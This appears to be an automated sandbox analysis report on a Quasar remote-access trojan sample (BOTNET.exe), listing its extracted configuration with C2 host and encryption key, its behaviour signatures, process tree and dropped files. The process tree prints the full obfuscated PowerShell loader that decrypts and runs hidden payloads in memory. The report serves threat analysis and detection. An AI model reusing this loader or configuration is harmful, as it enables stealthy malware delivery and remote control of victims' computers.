Analysis

  • max time kernel
    135s
  • max time network
    202s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/05/2024, 23:02

General

  • Target
    BOTNET.exe
  • Size 1.5MB
  • Sample240504-21jeesee31
  • SHA256 eeabb046cfd98e9a3a1addec48ebc458739a8732de54a885273806c6d699cbe3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 1.4.1

Botnet
  • Office04

C2
  • paper-sitemap.gl.at.ply.gg:34451

Mutex
  • aac5ca78-08ee-466b-b76a-a222e6968dcb

Attributes
  • encryption_key

    C6F8FC1FACDC33647F2C8892E17F3A76138E3780

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\BOTNET.exe
    "C:\Users\Admin\AppData\Local\Temp\BOTNET.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2072
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c "Client-built.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1708
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JZRSzmkPDXR9xk48FH2ObphiIF6YvOLTfmpQ/y5EC1Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j5BjsjVTKjdvJkDCmYmzNQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $iLfcx=New-Object System.IO.MemoryStream(,$param_var); $zFXcX=New-Object System.IO.MemoryStream; $QpHvq=New-Object System.IO.Compression.GZipStream($iLfcx, [IO.Compression.CompressionMode]::Decompress); $QpHvq.CopyTo($zFXcX); $QpHvq.Dispose(); $iLfcx.Dispose(); $zFXcX.Dispose(); $zFXcX.ToArray();}function execute_function($param_var,$param2_var){ $OEdCE=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sShBM=$OEdCE.EntryPoint; $sShBM.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Client-built.bat';$eYDZC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Client-built.bat').Split([Environment]::NewLine);foreach ($aXSCn in $eYDZC) { if ($aXSCn.StartsWith(':: ')) { $uzipA=$aXSCn.Substring(3); break; }}$payloads_var=[string[]]$uzipA.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2984
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pul124jM5UE0.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2068
          • C:\Windows\system32\chcp.com
            chcp 65001
            5⤵
              PID:2308
            • C:\Windows\system32\PING.EXE
              ping -n 10 localhost
              5⤵
              • Runs ping.exe
              PID:2376

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          Client-built.bat

          • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Client-built.bat
          • Size 1.8MB
          • SHA256 19934bc1e7a8c055f2d14c940f8a9a53e2bc14800103f3b54dfbc342c3904a6d
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_5go4l1ck.tbv.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5go4l1ck.tbv.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          pul124jM5UE0.bat

          • Path C:\Users\Admin\AppData\Local\Temp\pul124jM5UE0.bat
          • Size 220B
          • SHA256 67d55236b2263fbe0d784a81fb5e0f31de037c873bc6e54c3969a4ae7a2fbf4a
          • MD5 SHA1 SHA512

          memory/2984-20-0x000002514D5A0000-0x000002514D5F0000-memory.dmp

          memory/2984-22-0x000002514DED0000-0x000002514E092000-memory.dmp

          memory/2984-15-0x00007FFEE9FA0000-0x00007FFEEAA61000-memory.dmp

          memory/2984-16-0x000002514C850000-0x000002514C858000-memory.dmp

          memory/2984-17-0x000002514CBB0000-0x000002514CD08000-memory.dmp

          memory/2984-18-0x000002514CD10000-0x000002514D034000-memory.dmp

          memory/2984-19-0x00007FFEE9FA0000-0x00007FFEEAA61000-memory.dmp

          memory/2984-5-0x000002514C860000-0x000002514C882000-memory.dmp

          memory/2984-21-0x000002514D6B0000-0x000002514D762000-memory.dmp

          memory/2984-14-0x00007FFEE9FA0000-0x00007FFEEAA61000-memory.dmp

          memory/2984-25-0x000002514D5F0000-0x000002514D602000-memory.dmp

          memory/2984-26-0x000002514D650000-0x000002514D68C000-memory.dmp

          memory/2984-27-0x00007FFEE9FA3000-0x00007FFEE9FA5000-memory.dmp

          memory/2984-28-0x00007FFEE9FA0000-0x00007FFEEAA61000-memory.dmp

          memory/2984-29-0x00007FFEE9FA0000-0x00007FFEEAA61000-memory.dmp

          memory/2984-30-0x00007FFEE9FA0000-0x00007FFEEAA61000-memory.dmp

          memory/2984-3-0x00007FFEE9FA3000-0x00007FFEE9FA5000-memory.dmp

          memory/2984-37-0x00007FFEE9FA0000-0x00007FFEEAA61000-memory.dmp